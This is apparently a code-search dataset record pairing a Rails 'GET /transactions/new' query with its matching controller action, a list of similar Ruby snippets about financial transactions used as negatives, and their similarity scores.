...\"\n end\n # resource path\n local_var_path = \"/transactions\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_invoice'] = opts[:'filter_invoice'] if !opts[:'filter_invoice'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTransactionResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PaymentsTransactionsApi#get_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @transaction_type = TransactionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction_type }\n end\n end", "def show\n @transactions = @envelope.transactions if @envelope.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @envelope }\n end\n end", "def transactions\n JSON.parse(call_blockchain_api(\"transactions\"))\n end", "def transactions account_id\n data = perform_get(\"#{ACCOUNTS_PATH}/#{account_id}/transactions\")\n data[:accountTransactions] || []\n end", "def get_transactions\n @transactions\n end", "def index\n @transactions = Transaction.all\n render_success_response({\n transaction: array_serializer.new(@transactions, serializer: TransactionSerializer)\n })\n end", "def transactionGet(options={})\n assert_valid_keys(options, :transactionId)\n assert_keys_exists(options, :transactionId)\n execute(:transactionGet, options)\n end", "def transactionGet(options={})\n assert_valid_keys(options, :transactionId)\n assert_keys_exists(options, :transactionId)\n execute(:transactionGet, options)\n end", "def index\n @transactions = @account.transactions\n paginate @transactions.count, 20 do |limit, offset|\n render json: @transactions.limit(limit).offset(offset)\n end\n\n # render json: @transactions\n end", "def index\n if @account\n @transactions = @account.transactions\n else\n @transactions = Transaction.all\n end\n render json: @transactions\n end", "def show\n @transaction_term = TransactionTerm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction_term }\n end\n end", "def transactions_get(opts = {})\n data, _status_code, _headers = transactions_get_with_http_info(opts)\n data\n end", "def all\n @page[:per_page] = MonzoTransaction.count\n @transactions = MonzoTransaction.order(@order).paginate(@page)\n\n respond_to do |format|\n format.html { render 'index' }\n format.json { render json: @transactions, callback: params[:callback] }\n format.xml { render xml: @transactions }\n format.rss { render 'feed' }\n end\n end", "def index\n @transactions = current_user.transactions\n end", "def transactions\n @transactions ||= ArkEcosystem::Client::API::Transactions.new(@client) # rubocop:disable Metrics/LineLength\n end", "def index\n @transaction_goods_taxes = Transaction::Goods::Taxe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transaction_goods_taxes }\n end\n end", "def all_transactions\n json_response(Transaction.all)\n end", "def transaction_request(transaction_type, location)\n result = @client.connection.get (PATH +\n ERB::Util.url_encode(transaction_type) + '/search'), location\n Error.check_for_error(result)\n result\n end", "def show\n @transaction_goods_taxis = Transaction::Goods::Taxe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction_goods_taxis }\n end\n end", "def index\n @bank_transactions = BankTransaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bank_transactions, methods: :balance, callback: params[:callback] }\n format.xml { render xml: @bank_transactions, methods: :balance }\n end\n end", "def index\n @transaction_participants = Transaction::Participant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transaction_participants }\n end\n end" ]
[ "0.7277148", "0.7061151", "0.7012656", "0.6955532", "0.6946227", "0.68618894", "0.67483944", "0.67483944", "0.6711464", "0.66969895", "0.66969895", "0.66968", "0.667444", "0.66327834", "0.6577201", "0.6574795", "0.6539068", "0.6531864", "0.6509683", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.65077263", "0.6483487", "0.64798397", "0.6470397", "0.6470397", "0.6470397", "0.64614767", "0.6443643", "0.6438354", "0.643631", "0.64114386", "0.6411328", "0.64084023", "0.6399689", "0.638805", "0.6384375", "0.63827795", "0.63778603", "0.6339649", "0.6337717", "0.63252854", "0.63252854", "0.63252854", "0.63218284", "0.6320093", "0.63092333", "0.6288525", "0.6286907", "0.6286907", "0.6286907", "0.6286907", "0.6286907", "0.62867486", "0.6281271", "0.6278486", "0.6275302", "0.62359124", "0.62212974", "0.6217538", "0.6217152", "0.6211182", "0.6195201", "0.618549", "0.6184776", "0.6182815", "0.6181839", "0.6179546", "0.61736107", "0.61711186", "0.61663926", "0.61606145", "0.61606145", "0.6147411", "0.61468697", "0.6144372", "0.6117468", "0.6113273", "0.6097297", "0.60941714", "0.60905623", "0.6079066", "0.6067875", "0.6062366", "0.60588264", "0.60499245" ]
0.6872075
9
GET /transactions/new GET /transactions/new.xml
def new @transaction = Transaction.new ttype = params[:type] @accounts = @user_options.account_group.accounts if @accounts.empty? flash[:notice] = "There are currently no accounts for this account group, please add one before adding a transaction." redirect_to new_account_path return end respond_to do |format| format.html { render :action => 'edit' } format.xml { render :xml => @transaction } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @transaction = Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @transaction = Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @tx = Tx.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tx }\n end\n end", "def new\n @account_transaction = AccountTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account_transaction }\n end\n end", "def new\n @transaction = Transaction.new\n\t@categories = Category.find(:all, :order => 'name')\n\t@no_category = Category.new(:name => \"N/A\")\n\t@categories.insert(0, @no_category)\n\t@accounts = Account.find(:all, :order => 'name')\n\t@transaction_types = TransactionType.find(:all)\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @user = User.find(session[:user_id])\n @transaction = Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @transaction_type = TransactionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_type }\n end\n end", "def new\n @transaction = Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transaction }\n end\n end", "def new\n @transaction = Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transaction }\n end\n end", "def new\n @transaction = Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transaction }\n end\n end", "def new\n @transaction = Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @transaction }\n end\n end", "def new\n @settlement = @transaction.settlements.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @settlement }\n end\n end", "def new\n \n @transaction = Transaction.new(:contact_id => params[:contact_id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @help = \"New Transaction\"\n @transaction = @account.transactions.build\n @recurrings = @account.recurrings.find(:all, :conditions => \"transaction_type != 'Budget'\")\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @order = Order.new(:transaction_id => params[:transaction_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end", "def new\n @recent_transaction = RecentTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recent_transaction }\n end\n end", "def new\n @transaction = Transaction.new\n @transaction.build_document\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @az_balance_transaction = AzBalanceTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @az_balance_transaction }\n end\n end", "def new\n @verification = Verification.new\n @verification.transactions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @verification }\n end\n end", "def new\n @cash_transaction = CashTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cash_transaction }\n end\n end", "def new\n @transaction_term = TransactionTerm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_term }\n end\n end", "def new\n @balance = Balance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @balance }\n end\n end", "def new\n @entry = Entry.new\n 2.times { @entry.transactions.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "def new\n @transaction = Transaction.new\n @transaction.trade_time = Time.now\n @transaction.pay_type = 'zfb'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract }\n end\n end", "def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract }\n end\n end", "def new\n \n @subscription = Subscription.new(:transaction_id => params[:transaction_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fund_request }\n end\n end", "def new\n @transaction_financier = Transaction::Financier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_financier }\n end\n end", "def new\n @money_transaction = MoneyTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @money_transaction }\n end\n end", "def new\n @amount = Amount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @amount }\n end\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @payment_history = PaymentHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payment_history }\n end\n end", "def new\n @transaction = Transaction.new\n @all_categories = Category.sorted_find_all current_user.default_workgroup\n @all_accounts = Account.find(:all)\n @transaction_types = TransactionType.find(:all)\n if params[:account_id]\n @transaction.account_id = params[:account_id]\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def new\n @contract_template = ContractTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract_template }\n end\n end", "def new\n @transaction = Transaction.new\n @transaction.date = Date.today\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transaction }\n end\n end", "def new\n @item_transaction = ItemTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_transaction }\n end\n end", "def new\n @transaction_participant = Transaction::Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_participant }\n end\n end", "def new\n @users = User.find(:all)\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "def new\n @tx_memory = TxMemory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tx_memory }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def create\n @tx = Tx.new(params[:tx])\n\n respond_to do |format|\n if @tx.save\n format.html { redirect_to(@tx, :notice => 'Tx was successfully created.') }\n format.xml { render :xml => @tx, :status => :created, :location => @tx }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tx.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end", "def new\n @transaction_entry = TransactionEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @transaction_entry }\n end\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n format.json { render :json => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n format.json { render :json => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @addition = Addition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addition }\n end\n end", "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end", "def new\r\n @stock_transfer = StockTransfer.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @stock_transfer }\r\n end\r\n end", "def new\n @transmission = Transmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transmission }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end", "def new\n @t1 = T1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @t1 }\n end\n end", "def new\n \n @donation = Donation.new(:transaction_id => params[:transaction_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @donation }\n end\n end", "def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrow }\n end\n end", "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end", "def new\n @fixed_deposit = FixedDeposit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fixed_deposit }\n end\n end", "def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end", "def new\n @renewal = Renewal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @renewal }\n end\n end", "def new\n @transaction_group = TransactionGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_group }\n end\n end", "def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end", "def new\n @payment = Payment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payment }\n end\n end", "def new\n \t@account = Account.new\n\t@navkey = \"account_new\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def new\n @retain_node = RetainNode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node }\n format.json { render :json => @retain_node }\n end\n end", "def new\n @mi_transaction = MiTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mi_transaction }\n end\n end", "def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n format.xml { render xml: @tasks }\n end\n end", "def create\n @recent_transaction = RecentTransaction.new(params[:recent_transaction])\n\n respond_to do |format|\n if @recent_transaction.save\n format.html { redirect_to @recent_transaction, notice: 'Recent transaction was successfully created.' }\n format.json { render json: @recent_transaction, status: :created, location: @recent_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recent_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end", "def new\n @transaccion = Transaccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transaccion }\n end\n end", "def new\n @transaction_goods_taxis = Transaction::Goods::Taxe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_goods_taxis }\n end\n end", "def new\n @shop_transaction = Shop::Transaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_transaction }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @page_title = \"New Transaction\"\n @transaction = Transaction.new\n @td = @global_company.transaction_details.first\n \n \n \n respond_to do |format|\n format.html {\n if @global_company.transactions_ended?\n redirect_to \"/\"\n end\n }\n format.json { render json: @transaction }\n end\n end", "def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "def create\n @transaction = Txn.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Txn was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @stats_money_transaction = Stats::MoneyTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stats_money_transaction }\n end\n end", "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end", "def new\n @ponto = Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ponto }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @serialize = Serialize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serialize }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end", "def new\n @task = Task.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.xml { render :xml => @task }\n end\n end", "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loan }\n end\n end", "def new\n @spend = Spend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spend }\n end\n end" ]
[ "0.75667083", "0.75667083", "0.74294776", "0.7211684", "0.7123651", "0.7093603", "0.7065037", "0.70578", "0.70578", "0.70578", "0.704697", "0.7044736", "0.69955313", "0.69886124", "0.6937086", "0.6934986", "0.69087356", "0.68901473", "0.6810056", "0.68026495", "0.6765861", "0.67452306", "0.67223203", "0.6719053", "0.66931415", "0.6672202", "0.6672202", "0.6656582", "0.66516906", "0.6598941", "0.6586098", "0.65839547", "0.65813935", "0.6538249", "0.6532908", "0.65292734", "0.6526828", "0.6525296", "0.6516638", "0.65093714", "0.6501654", "0.6501066", "0.6501066", "0.6501066", "0.65001726", "0.64905685", "0.64905685", "0.64905685", "0.64895487", "0.6488979", "0.6485083", "0.6479589", "0.6472165", "0.64706355", "0.6465672", "0.6460677", "0.6452786", "0.6434385", "0.64318687", "0.6426577", "0.642291", "0.64226913", "0.6419347", "0.6417523", "0.64145947", "0.6412737", "0.6411951", "0.63982534", "0.6395821", "0.63920695", "0.63905656", "0.63871455", "0.63809484", "0.63782686", "0.637121", "0.6370579", "0.6369743", "0.63686186", "0.6364062", "0.6361123", "0.63577473", "0.6355251", "0.63522327", "0.63522327", "0.6351012", "0.63339514", "0.6331265", "0.63308585", "0.63303345", "0.63255817", "0.63198036", "0.63187337", "0.63187337", "0.63187337", "0.63187337", "0.6313014", "0.6312866", "0.6312866", "0.63101566", "0.630763", "0.6304862" ]
0.0
-1
POST /transactions POST /transactions.xml
def create @transaction = Transaction.new(params[:transaction]) @account = Account.find(params[:account][:id]) rescue nil respond_to do |format| if @transaction.save flash[:notice] = 'Transaction was successfully created.' format.html { @account ? redirect_to(@account) : redirect_to(transactions_path) } format.xml { render :xml => @transaction, :status => :created, :location => @transaction } else format.html { render :action => "edit" } format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def transactions_post(opts = {})\n data, _status_code, _headers = transactions_post_with_http_info(opts)\n data\n end", "def postTransaction(useridgiving, useridreceiving, amount)\n parameters={useridgiving: useridgiving.to_i, useridreceiving: useridreceiving.to_i, amount: amount.to_f, state: \"initial\"}\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4050/transactions\", options) # create initial state\n return results\n end", "def transactions_post(method, opts = {})\n data, _status_code, _headers = transactions_post_with_http_info(method, opts)\n data\n end", "def postTransactionInprogress( transaction_id, paypal_setexpresscheckout)\n params = Hash.new\n params['transaction_id'] = transaction_id\n params['paypal_setexpresscheckout'] = paypal_setexpresscheckout\n return doCurl(\"post\",\"/transaction/inprogress\",params)\n end", "def test_create_transaction\n params = {\n bank_transaction: {\n bank_account_id: 1,\n date: Time.local(2012, 4, 16),\n amount: 55\n }\n }\n\n post '/api/banks/1/transactions', params\n data = ActiveSupport::JSON.decode last_response.body\n\n assert last_response.successful?\n assert_match('application/json', last_response.content_type)\n assert BankTransaction.find(data['id'])\n end", "def submit_transactions(raw_transactions: [])\n params = {\n raw_transactions: raw_transactions,\n }\n client.make_request('/submit-transactions', 'post', params: params)\n end", "def transaction_params\n params.require(:transaction).permit(:get, :post)\n end", "def transaction_request(transaction,total=nil)\n transaction_request = Cielo::TransactionRequest.new\n resul = send_request(transaction_request.serialize(transaction))\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def createTransaction(toAcc, json)\n\t\turl = \"#{self.urlWithEntity}/#{toAcc}/transactions?key=#{self.apiKey}\"\n\t\turi = URI.parse(url)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\trequest = Net::HTTP::Post.new(uri.request_uri, initheader = {'Content-Type' => 'application/json'})\n\t\trequest.body = json\n\t\tresp = http.request(request)\n\tend", "def create\n @transaction = Transaction.new(params[:transaction])\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n format.json { render :json => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n format.json { render :json => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_transactions(transaction_request, opts = {})\n data, _status_code, _headers = post_transactions_with_http_info(transaction_request, opts)\n data\n end", "def create\n @transaction = Transaction.new(transaction_params)\n @num = 1\n while Transaction.where([\"transaction_id = ?\", @num]).size > 0\n @num = @num + 1\n end\n @transaction.transaction_id = @num\n @transaction.user_email = current_user.email\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Txn.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Txn was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account_transaction = AccountTransaction.new(params[:account_transaction])\n\n respond_to do |format|\n if @account_transaction.save\n format.html { redirect_to(@account_transaction, :notice => 'Account transaction was successfully created.') }\n format.xml { render :xml => @account_transaction, :status => :created, :location => @account_transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tx = Tx.new(params[:tx])\n\n respond_to do |format|\n if @tx.save\n format.html { redirect_to(@tx, :notice => 'Tx was successfully created.') }\n format.xml { render :xml => @tx, :status => :created, :location => @tx }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tx.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = current_user.transactions.build(transaction_params)\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully created.' }\n format.json { redirect_to transactions_url, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to account_transactions_path(@transaction.account), notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { redirect_to account_transactions_path(current_user.accounts.expense_accounts.first), alert: 'Transaction could not be added.' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to home_url, notice: 'Transaction was posted to the journal.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { redirect_to session[:return_to], :flash => {errors: 'Error parsing transaction!'} }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def putTransaction( entity_id, user_id, basket_total, basket, currency, notes)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n params['basket_total'] = basket_total\n params['basket'] = basket\n params['currency'] = currency\n params['notes'] = notes\n return doCurl(\"put\",\"/transaction\",params)\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n 